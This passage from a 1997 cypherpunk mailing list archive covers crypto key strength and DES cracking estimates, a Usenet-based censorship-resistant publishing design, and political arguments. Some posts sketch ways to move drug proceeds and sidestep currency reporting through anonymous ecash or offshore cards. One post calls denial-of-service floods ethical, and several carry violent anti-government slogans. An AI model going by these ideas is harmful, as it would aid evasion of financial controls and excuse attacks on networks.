Left as an exercise is whether subsequent policy actions by NSA and D.C. in
general are consistent with this "Crypto Perestroika" (tm).


>Does any one on the list have any ideas on what the Intel mega-pentium
>parallel  processor (touted for nuclear explosion and weather simulations a
>few months back, and noticeably missing any mention of NSA application)
>does to the time estimates for cracking "strong" crypto keys?  I am being
>purposefully vague in my definitions of strong crypto, but I would present
>as my test cases PGP ascii-armor traffic of 2048 key length or plain files
>encrypted with pgp -c option; ie. typical crypto-criminal/narco-terrorist
>fodder.

Please see the usual discussion in Schneier of work factos for breaking
various key length systems. See also the study by the "Distinguished
Cryptographers Panel" (don't have an URL handy, but a search on Schneier,
Blaze, Rivest should turn it up).

Bottom line: work factor grows exponentially in key length. Processor power
has been growing much more slowly, and even a 1000-processor parallel
computer is good for only about 10 bits. Ditto for the processors
themselves, with Intel's latest Pentium II good for "only" a few bits over
the Pentium, which itself was good for only a few bits over the 486, and so
on.

Left as another exercise: How many bits are needed in a key before
exhaustive search (the attack being assumed...if a "clever" attack exists,
then of course it could almost cerainly be done on an abacus) of the
keyspace needs all the processors in the world running for a thousand
years? How many bits before converting the Earth into nanocomputers is not
enough to search the keyspace in the age of the Earth? And so on. The
answers may surprise you.

And using longer keys is "easy" to do. Breaking longer keys is "hard."
Strong crypto wins out very quickly.

This is why there is no "middle ground" on crypto...it's either strong or
its weak, with nothing in between.

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Allard <m1tca00@FRB.GOV>
Date: Fri, 16 May 1997 02:57:55 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <199705151458.HAA11100@A-abe.resnet.ucsb.edu>
Message-ID: <199705151748.NAA26112@bksmp2.FRB.GOV>
MIME-Version: 1.0
Content-Type: text/plain



> > We can tally up the deaths in Rawanda to those created by government.
>
> Oh, this is just charming.  People are still dying, and now you're going
> to sit on the sidelines making tally marks for your pissing contest.

I didn't start this discussion.  But the question remains... are we better
with or without governments.  If you argue that we need gov't for safety,
it seems valid to ask under which system will have less killing.  It seems
to me that situations like Rawanda are just more examples of how gov'ts can
kill more people and more efficiently than any single mass murderer.

And speaking of the sidelines, what, exactly, are YOU doing about it?

> You can't count up human lives and say ``this entity is more evil than
> this entity.''  It doesn't work that way.  People are people, regardless,
> and usually don't deserve that kind of premature termination.

Why on Earth can't you can't up the lives?  It's pretty easy.  Hitler was
worse than Manson because he killed millions while Manson was only able to
kill, what, less than a dozen?  None of their victims deserved to die.  But
if Hitler hadn't been able to take control of the German gov't, fewer people
would have been killed (unless some other crazy got the gov't).

> As for the running dictionary flame, by all means, piss on.  Perhaps
                                                     ^^^^^^^
> later, when you mature a little, discussion can get back to more
                  ^^^^^^
> meaningful topics.

A classic case of pot & kettle syndrome.

It is, however, difficult to argue that "anarchy" is better than gov't when
someone's definition of "anarchy" is not "no government".

rgds-- TA  (tallard@frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Fri, 16 May 1997 05:42:22 +0800
To: cypherpunks@cyberpass.net
Subject: Reporting threshold for NY money transfers lowered
Message-ID: <5lfvc8$2m0@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


I thought this might be of interest to cypherpunks:

The threshold for reporting New York money transfers was apparently
quietly lowered to $750 last month.  Looks like all it took was one
order signed by one Treasury official -- eek.  Can they lower the
$10k cash threshold just as easily?

*  NYT Sunday April 13, 1997
*  
*  U.S. Seizes $5.6 Million Hidden in a Truck on Way to Mexico
*  By Sam Dillon
*  
*  Mexico City, April 12 - United States officials said today that
*  $5.6 million discovered this week in a truck about to cross into
*  Mexico from El Paso was the largest cash seizure in memory along
*  the southwest border.
*  [snip]
*  
*  ...probably the proceeds of street drug sales...
*  [snip]
*  
*  Officials have seen a big increase in cash seizures lately...
*  [snip]
*  
*  In [another] case the authorities believe the traffickers
*  chose to move the cash south out of New York in bulk by
*  car because of an order signed by Mr. Kelly [Treasury
*  Under Secretary Raymond W. Kelly] which required New York
*  businesses transmitting cash to report all transactions
*  over $750.
*  
*  Although the order was not announced, word spread quickly
*  among traffickers, and a dramatic drop in money wires to
*  Colombia followed, along with a sharp increase in seizures
*  of cash along the eastern seaboard.

Thanks to <guy@panix.com> for forwarding.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 16 May 1997 03:06:26 +0800
To: cypherpunks@toad.com
Subject: [CRYPTO] Blowfish
Message-ID: <199705151850.OAA02276@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Here, Tim C. May descends into total inanity. He should have a cold 
shower and/or a Turkish coffee.

          ___\
         <o   \__o  Tim C. May
          X\     X>
        _/_\____<_\_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thomas Porter <txporter@mindspring.com>
Date: Fri, 16 May 1997 03:23:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: NSA _likes_ strong crypto?
In-Reply-To: <Pine.GSO.3.95.970514211520.28811E-100000@well.com>
Message-ID: <3.0.1.16.19970515150735.5f97d298@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:32 AM 5/15/97 -0700, Bill Frantz thoughtfully expounded thus:

>
>During a hall discussion at CFP, I heard that people at NSA are changing
>their opinions about the use of strong crypto in the general community.
>The reason is the threat of InfoWar and the need for strong crypto in
>general use to secure the US information infrastructure.


I realize I may catch it for my numerical ignorance here, but a more
paranoid type might think that any acquiescence on the part of NSA might be
due to more relative ease of breaking important traffic than they might
have possessed in the past.

Does any one on the list have any ideas on what the Intel mega-pentium
parallel  processor (touted for nuclear explosion and weather simulations a
few months back, and noticeably missing any mention of NSA application)
does to the time estimates for cracking "strong" crypto keys?  I am being
purposefully vague in my definitions of strong crypto, but I would present
as my test cases PGP ascii-armor traffic of 2048 key length or plain files
encrypted with pgp -c option; ie. typical crypto-criminal/narco-terrorist
fodder.

How does this strength of encryption compare to whatever might be used to
"secure the nation's info infrastructure" [Netscape 40 bit!!??] regarding
cracking time?  Clearly less, but how much less on this type of specialized
parallel processor?  To put it another way, any swags on how long it would
take this pentium parallel processor to crack the current DES56 challenge?

Inquiring (and ignorant) minds want to know,

Tom Porter                                       txporter@mindspring.com
------------------------------------------------------------------------
   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Fri, 16 May 1997 04:25:40 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: eternity-lite (was Re: The War is Underway (fwd))
In-Reply-To: <199705151717.SAA01042@server.test.net>
Message-ID: <Pine.LNX.3.94.970515160049.20555N-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 15 May 1997, Adam Back wrote:

> If/when this came about, something like texto (primitive textual stego
> program available on the net somewhere) would probably be sufficient
> to fool the search engine.

http://www.ip-service.com/cgi-bin/stego.pl





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Horton <jehorton@erols.com>
Date: Fri, 16 May 1997 05:06:37 +0800
To: Tom Allard <m1tca00@FRB.GOV>
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <199705151748.NAA26112@bksmp2.FRB.GOV>
Message-ID: <337B749C.3B23@erols.com>
MIME-Version: 1.0
Content-Type: text/plain


Tom Allard wrote:
<deleted>
> I didn't start this discussion.  But the question remains... are we better
> with or without governments.  

IMHO about the only reason we need govts is to act as an arbitrator, or
as a TTP.  

<deleted>
> rgds-- TA  (tallard@frb.gov)
> I don't speak for the Federal Reserve Board, it doesn't speak for me.
> pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D

Regards,
JEH





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Fri, 16 May 1997 05:37:13 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Wine Politics Again!
Message-ID: <3.0.16.19970515171709.66ef8dba@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:53 PM 5/13/97 -0700, Bill Stewart wrote:

>At 09:26 PM 5/9/97 -0800, Tim May wrote:
>>I am shipping a few bottles of California's finest merlot (much nicer than
>>the trendy cabernets) to my sister and her husband in Hollywood, FL.
>
>You're a bit late - merlots have been getting more trendy :-)
>But Chiles hasn't signed the Florida law quite yet, so you're also early.

And he may not. Taxin' Lawton is, if nothing else, a wind-direction
indicator, and this law isn't too popular among the rabble.

>Do they even _grow_ wine in Florida?  

Barely, and it's not as good as Tim's merlot. The orange wine for
tourists is truly horrible.

>You'd think it would be the 
>cocaine industry trying to get their product regulated to keep prices high.

[Comment about credulous media reprints of San Jose Merc/CIA denials
of contra cokesmuggling reluctantly suppressed. Tongue bleeding.]

>>There's something wrong when I'm a felon under an increasing number of laws.
>
>It's especially ridiculous that shipping wine should be a *felony*.
>Mike Froomkin points out that the Constitutional Amendment ending
>Prohibition lets states make their own stupid decisions like this,
>and it probably overrides Commerce Clause controls.

Yeah, and for stupidity, Tallahassee is hard to beat.

>You'd expect that a law that's made primarily to protect business
>interests would have business-oriented penalties - like fines for
>conducting wine-shipping without a wine-shipping license,
>or triple fines for not filling out paperwork in triplicate.

I've met some of these guys -- hell I've run against one of them.
We aren't talking Einstein-level here, or even Forest Gump.

>Does anyone know if either state's laws also penalize the 
>recipient of the Demon Grape, or only the sender?  
...

I don't know, but I'm willing to risk getting some Merlot and
finding out as a public service to the cypherpunks list. Y'all
could even try to mail me a bottle anonymously. ;-)
JMR


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEPAwUBM3t9LzUhsGSn1j2pAQHavAfONFdPqiU76q17liQMYGA+AwEcwnZaipBu
AvRqxq7FpeLLM1lR2POCJRBo2rRIXjajwmKacaBG7x08dqsMHug1hul4v2Kge7QV
MtSzwTOokPqwP73O2SU2udB+6d3b5S9rgVjbIDps60iKxVSyEfzVM6B33t6gFBNB
CXYNQoIEx4bOI2puNM6aFX+zsUvDjoSZ5EbWbjRE6tabMKIMPZgVH+QQ4i+En+8I
ug9OaUeFiptHWUzqciqDm70fhhJxsGqH83aj1EDAFj1WCgdo9mBKJjDo2F8fsLCr
Mrs+TWYd+lq+T//lpVvc65ENTwMh1pjDCyRoXJIUsTW+Qw==
=lheO
-----END PGP SIGNATURE-----

Regards, Jim Ray <jmr@shopmiami.com>
DNRC Minister of Encryption Advocacy

One of the "legitimate concerns of law enforcement" seems to be
that I was born innocent until proven guilty and not the other
way around. -- me

http://shopmiami.com/prs/jimray/    
PGP id.A7D63DA9 98 1F 39 BA 93 86 B4 F5  57 52 64 0E DA BA 2C 71






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 16 May 1997 08:43:47 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Reporting threshold for NY money transfers lowered
In-Reply-To: <5lfvc8$2m0@joseph.cs.berkeley.edu>
Message-ID: <v03007803afa157fd5af7@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:31 PM -0700 5/15/97, David Wagner wrote:
>I thought this might be of interest to cypherpunks:
>
>The threshold for reporting New York money transfers was apparently
>quietly lowered to $750 last month.  Looks like all it took was one
>order signed by one Treasury official -- eek.  Can they lower the
>$10k cash threshold just as easily?
>
[snip]
>*  Although the order was not announced, word spread quickly
>*  among traffickers, and a dramatic drop in money wires to
>*  Colombia followed, along with a sharp increase in seizures
>*  of cash along the eastern seaboard.
>

Correct me if I'm wrong, but under current law ecash tokens are neither
legal tender, foreign currency or money transmission instruments.  So, a
merchant exchanging them for legal tender needn't follow these tightened
regulations (i.e., only the $10K limit would still apply).  Of course,
Congress will be busy drafting new regulations if larger transaction use of
ecash starts to take off.

Seems to me that if accountless ecash were sold via a multi-level marketing
approach, where hordes of ordinary citizens would offer to purchase/redeem
the tokens (at a discount for their trouble), it might substitute for these
moneychaning merchants and make an interesting market.  Smaller operators
could deposit the funds in their demand deposit accounts or sell to
Aggregators who would offer to take any CTR related heat. Aggregators could
maintain that they are merely treating the tokens they purchase as a
commodity, they have no legal tender basis.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 16 May 1997 09:23:46 +0800
To: cypherpunks@toad.com
Subject: Re: Just Say "No" to Congress
In-Reply-To: <3.0.32.19970514223849.006ea694@netcom13.netcom.com>
Message-ID: <19970515174452.40411@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 14, 1997 at 10:39:00PM -0700, Lucky Green wrote:
> 
> >FYI, here are two bills that Feinstein introduced recently:
> 
> Sigh. She is my Senator. [Don't blame me. I voted against her. But she hits
> the feelings of the Bay Area head on. "Big brother will bring you
> multi-cultural happiness." She is such a hypocrite. Even carried a gun
> after Moscone and Milk were shot and she thought herself in danger. Once
> she felt safe again, she went on TV and said that if she could get the
> votes in the Senate for total confiscation she would push for it. What's
> good for the goose...]

While I am not fond of Feinstein for various reasons, there is no
contradiction whatsoever in someone carrying a gun, and also working
to outlaw them.  You deal with the realities of the world, and try to
make them better.  It would be a contradiction only if she succeeded
in outlawing them, and continued to carry one. 

She is no more hypocritical than "anarchists" who continue to milk 
the state and society in which they live.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 17 May 1997 02:14:56 +0800
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: Spam IS Free Speech
In-Reply-To: <199705150640.XAA07531@adnetsol.adnetsol.com>
Message-ID: <Pine.LNX.3.91.970515174628.3017B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > > You can not retaliate against free
> > > speech, Rick.  That's a bad thing, plain and simple, black and
> > > white.

Retaliation by force against speech is wrong, more speech is not 
unethical. It might be unpleasant, but not wrong.

> No shit, you just can't send 10,000 megs of info in retaliation for a 
> few bits.  Really, there's no call for that.  It's wrong. 

To make a brief analogy: Say you are a market researcher, and you 
approach me in the street and ask for some time to answer your questions, 
I do not commit any ethical wrongdoing if I stand there and scream at you 
for several minutes. If I physically attack you I commit a crime. 

All internet traffic is speech, including syn-ack flood attacks and any 
other denial of service attempt. This is plain and simple, we have to 
find technological means of thwarting these attacks, they are not 
unethical, unpleasant yes, immoral no. 

> >   It costs me money to download unwanted spam. What's this "free"
> > bullshit?
> 
> What?  Like 80 cents per gig?  Please a bit here and a byte there 
> isn't going to break anyone.  Could someone do the math?

I won`t do the math but the point is it "costs" you energy to listen to 
someone speaking in the street, sure, it is a very small amount, but it 
does cost energy from a strict biological point of view.
This does not lead me to believe any crime is commited by someone 
speaking to, or at me.

I shaln`t repeat myself any further, no speech is a crime.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 16 May 1997 09:13:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: NSA _likes_ strong crypto?
In-Reply-To: <v0300781cafa0ea98034c@[207.94.249.70]>
Message-ID: <19970515175354.52395@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, May 15, 1997 at 12:42:15PM -0800, Tim May wrote:
[...]
> 
> And using longer keys is "easy" to do. Breaking longer keys is "hard."
> Strong crypto wins out very quickly.
> 
> This is why there is no "middle ground" on crypto...it's either strong or
> its weak, with nothing in between.

An oversimplification.  You, of course, know better.  A crypto system
has to be considered as a whole (rubber hoses, key management, etc). 
That's where the "in between" comes from, and will continue to come
from, regardless of the strength of the algorithms. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 16 May 1997 09:25:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Reporting threshold for NY money transfers lowered
In-Reply-To: <5lfvc8$2m0@joseph.cs.berkeley.edu>
Message-ID: <v03007804afa16db7e323@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:31 PM -0800 5/15/97, David Wagner wrote:

>*  Mexico City, April 12 - United States officials said today that
>*  $5.6 million discovered this week in a truck about to cross into
>*  Mexico from El Paso was the largest cash seizure in memory along
>*  the southwest border.
>*  [snip]
>*
>*  ...probably the proceeds of street drug sales...
>*  [snip]
...
>*  Although the order was not announced, word spread quickly
>*  among traffickers, and a dramatic drop in money wires to
>*  Colombia followed, along with a sharp increase in seizures
>*  of cash along the eastern seaboard.

Yet more reasons to get "smart cards" of even less than perfect
cryptographic quality deployed.

If persons planning to buy drugs and other illegal substances could set up
offshore accounts (perhaps by taking a day trip to Anguilla, even declaring
the $10K cash they are taking with them, or using conventional checks in
Anguilla, etc.) and then use the resulting "cash cards" (details left vague
here...maybe Mondex, maybe Mark Twain anonymous bank cards...), the dealers
could then simply have their Anguilla accounts increased by the transaction.

(I use "Anguilla" as my stand in here, as Vince Cate says such things will
be perfectly legal in Anguilla, given that no Anguillan laws are being
violated (e.g., no drugs are being shipped in or out of Anguilla). Of
course, I strongly doubt the Ruling Families of Anguilla will allow this,
so another country may have to be picked.)

This whole exercise is why, of course, the fatuous rhetoric about SAFE and
Pro-CODE, etc., making financial cryptography readily exportable is just
that, fatuous. No way will such anonymous transfer mechanisms be
exportable. And probably not importable, either, given the import
restrictions being planned for the Grand Compromise Omnibus Safe Cyberspace
and Child Protection Act of 1997, co-sponsored by Goodlatte, Kerrey, Burns,
and Feinstein.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 16 May 1997 06:10:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: NSA _likes_ strong crypto?
Message-ID: <199705152153.OAA02386@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Thu, 15 May 1997 15:07:35 -0400
> To:            cypherpunks@cyberpass.net
> From:          Thomas Porter <txporter@mindspring.com>
> Subject:       Re: NSA _likes_ strong crypto?
> Reply-to:      Thomas Porter <txporter@mindspring.com>

> At 09:32 AM 5/15/97 -0700, Bill Frantz thoughtfully expounded thus:
> 
> >
> >During a hall discussion at CFP, I heard that people at NSA are changing
> >their opinions about the use of strong crypto in the general community.
> >The reason is the threat of InfoWar and the need for strong crypto in
> >general use to secure the US information infrastructure.
> 
> 
> I realize I may catch it for my numerical ignorance here, but a more
> paranoid type might think that any acquiescence on the part of NSA might be
> due to more relative ease of breaking important traffic than they might
> have possessed in the past.
> 
> Does any one on the list have any ideas on what the Intel mega-pentium
> parallel  processor (touted for nuclear explosion and weather simulations a
> few months back, and noticeably missing any mention of NSA application)
> does to the time estimates for cracking "strong" crypto keys?  I am being
> purposefully vague in my definitions of strong crypto, but I would present
> as my test cases PGP ascii-armor traffic of 2048 key length or plain files
> encrypted with pgp -c option; ie. typical crypto-criminal/narco-terrorist
> fodder.
> 
> How does this strength of encryption compare to whatever might be used to
> "secure the nation's info infrastructure" [Netscape 40 bit!!??] regarding
> cracking time?  Clearly less, but how much less on this type of specialized
> parallel processor?  To put it another way, any swags on how long it would
> take this pentium parallel processor to crack the current DES56 challenge?
> 
> Inquiring (and ignorant) minds want to know,
> 
> Tom Porter                                       txporter@mindspring.com

1. You must assume that any well-heeled opponent will have built a 
Wiener engine, so the time to brute a DES key can be measured in 
hours, rather than days. A ciphertext-only attack is only a little
harder than a known-plaintext attack.

But that doesn't stop us from doing the calculation anyway.

The fastest DES cracker I'm aware of (Bryddes) currently claims 
615,000 keys/sec on a Pentium 120.

The sandia machine is acheiving 1.06 Tflops with 7264 processors.
The processors are 200 MHz Pentium Pros. (The Mflop rate is lower 
than the MHz rate). They plan to have 9200 of them when it's 
finished.

615k * 200/120 = 1.025Mkps
(it'll actually be a bit higher on a Pro)

1.025M * 9200 = 9.430Gkps

(2^56 = 7.2E16)/9.43E9 = 7.6 Msec

= 88.44 days

Thats a conservative, upper limit, not a SWAG.

Speeds would be much higher on a 64 bit machine. I'm very curious to
see how bitslice DES would run on an MMX Pentium, which has some
64 bit registers.

40 bit encryption is a bad joke = it would take about 2 min on this 
machine for 40 bit DES

Peter Trei
trei@Process.com




 

Peter Trei
Senior Software Engineer
Purveyor Development Team                                
Process Software Corporation
http://www.process.com
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ryank <ryank@sparrow.vacd.med.umich.edu>
Date: Fri, 16 May 1997 06:28:51 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <v01530500afa11d5e3831@[141.211.7.63]>
MIME-Version: 1.0
Content-Type: text/plain











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Fri, 16 May 1997 09:30:34 +0800
To: cypherpunks@algebra.com
Subject: 40 bit work factors (Re: NSA _likes_ strong crypto?)
In-Reply-To: <199705152153.OAA02386@rigel.cyberpass.net>
Message-ID: <9705151817.ZM10492@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


On May 15,  6:05pm, Peter Trei wrote:
>
> 40 bit encryption is a bad joke = it would take about 2 min on this
> machine for 40 bit DES

	Yes, 40 bit encryption is a joke, but one shouldn't
extrapolate exponontially between 56 bit DES and 40 bit encryption.
The work factor will not be less by a factor of 1/65536, but
rather in the same ballpark.

	DES is generally faster to search than other ciphers
(5-10 times faster than RC5), so if the 40 bit encryption
is not with DES, 10 minutes would be a more accurate estimate.

	As for 40 bit DES, nobody uses DES as is with 16
bits of the key zeroed out. What is more likely is something
like CDMF. A brute force attack on CDMF has about four times
the work the factor of (56 bit DES / 65536). Again 10 minutes
appear more accurate.

	Which is not to say that we are not discussing a joke.

	And talking about Wiener machines, they are much
faster on DES than most other symmetric ciphers, especially
something like RC5, which had reducing the efficiency
of hardware crackers as a design goal. So, one should
be careful about extrapolating from DES key search rates.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 16 May 1997 02:30:41 +0800
To: shamrock@netcom.com
Subject: eternity-lite (was Re: The War is Underway (fwd))
In-Reply-To: <3.0.32.19970511125644.006e96a8@netcom13.netcom.com>
Message-ID: <199705151717.SAA01042@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> writes:
> No offense, but Adam's "Eternity" system doesn't come close to Ross
> Anderson's original design. It is a fun weekend hack, but calling it the
> Eternity Service is a very unfortunate choice of words. It isn't any more
> Ross Anderson's Eternity Service than type I remailers are Chaumian mixes.

I wholeheartedly agree that it's current form is no where close to
Ross A's Eternity Service.  My hope was that by giving something
concrete to criticize we might see some progress in the direction of
Ross's ideal.  Perhaps eternity-lite would be a better name (I nearly
released it with this name).

I was hoping for some specific criticisms, analyses, suggestions etc.
Having a functioning example would probably help, I hope to get one up
soonish, time permitting.  Some of the aspects of Ross's system are
quite hard to acheive, while what I have is pretty easy to acheive (as
demonstrated by the few hours it took me to get it where it is).

Type I remailers came before mixmaster.  Bass-o-matic came before
replacement with IDEA, etc.  We still don't have a DC net, nor a
pipenet.


One consideration of the design, is a social aspect, the servers
design is partly attempting to bootstrap acceptability from something
which has come to be viewed as a fact of life: the inherently noisy
and uncontrollable nature of alt USENET newsgroups.  By designing
something which is in essence a search engine, I speculate that the
individual server operators would be less liable than if they part of
the distributed database as is the case with Ross's Eternity Service.
There are specific exemptions for caches in some legislation (I
think), and anyway you can turn cacheing off.  Search engines have
similarly to my knowledge been left out of the censorship argument.
The interesting aspect is how censors would react when they bumped
into documents hosted by this system.  By basing it on USENET, the
hope is to direct censorship attempts at USENET itself, which has
proven very resilient to attack.  (Cancel messages I'll discuss in my
response to Paul Bradley, who raised this question).

One aspect of my system which has not been implemented yet is fetching
articles from news archival and search services such as dejanews and
altavista.  This would be useful to reduce the bandwidth overhead of
having to re-post pages just to keep up with

I tried a few experiments to see if this was feasible, and discovered
a few things which will affect the design.  The design requires lookup
by SHA1 hash of virtual URL.  

Firstly neither search engine will search for hex numbers over a
certain length.  The search engines have some indexing mechanism, I
presume they have a rejection criteria to remove mime strings etc
clogging up the word index, it specifically rejects long hex strings,
I'm not sure what the cut-off is.  Both seem to search for decimal
numbers of somewhat longer length.  Neither will search decimal
numbers of sufficient length to represent a SHA1 hash directly.  The
solution to this seems to be to encode as space separated groups of
sufficiently short numbers and use a search AND to find them.

Secondly (!) one of them explicitly states that they do not archive
uuencoded data.  However it does archive PGP mime'd data (currently),
perhaps to allow for PGP signatures, or perhaps uuencode alone was
targetted as the most common by volume.

The PGP data archiving would likely change if the eternity posts
volume got significant enough to draw the attention of the news
archives.

If/when this came about, something like texto (primitive textual stego
program available on the net somewhere) would probably be sufficient
to fool the search engine.  (Bill Frantz suggested stego for this
purpose in a recent purpose).

Paul Bradley provided some critisisms, and someone else in email,
which I'll respond to next.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 16 May 1997 09:33:35 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Just Say "No" to Congress
In-Reply-To: <3.0.32.19970513220804.006f09d4@netcom13.netcom.com>
Message-ID: <3.0.1.32.19970515182259.00879320@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:13 AM 5/14/97 -0800, Tim May wrote:
>Feinswine/Swinestein is the most despicable of all the politicians in
>Congress. (This is not just ideology speaking...her usual-ally Barbara
>Boxer is much less swinish, and even has some independent thoughts. I can't
>see I often agree with Boxer, but she's not the Big Sister automaton that
>Swinestein is.)

FYI, Boxer is now (as of 5/12/97) a cosponsor of Sen. Leahy's ECPA/1997
(Encrypted Communications  Privacy Act of 1997) - that's the bill with the
complex structure for "voluntary" key recovery and criminal penalties for
use of crypto  "in furtherance of" felony. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 16 May 1997 09:42:35 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Just Say "No" to Congress
In-Reply-To: <v03007802af9fa094e283@[207.167.93.63]>
Message-ID: <199705160128.SAA03463@netcom17.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>
>We're basically under assault from all directions. The bozos in Congress
>and state governments are spinning out new laws and obscure regulations
>faster than we can react...and of course they're using our money to
>generate these laws and lobby for them. Further, a mostly-brainwashed
>Washington media population is surprising uncritical of these blizzard
>drifts of new laws.
>
...
>
>Removing the Washington area as a malignant tumor requiring drastic surgery
>remains an option.
>

another counterTCMeme for the crowd here-- where else do you give
away vast sums of your cash and refuse to exercise any authority
over how it is spent?

this is the situation we find ourselves in our country. we have
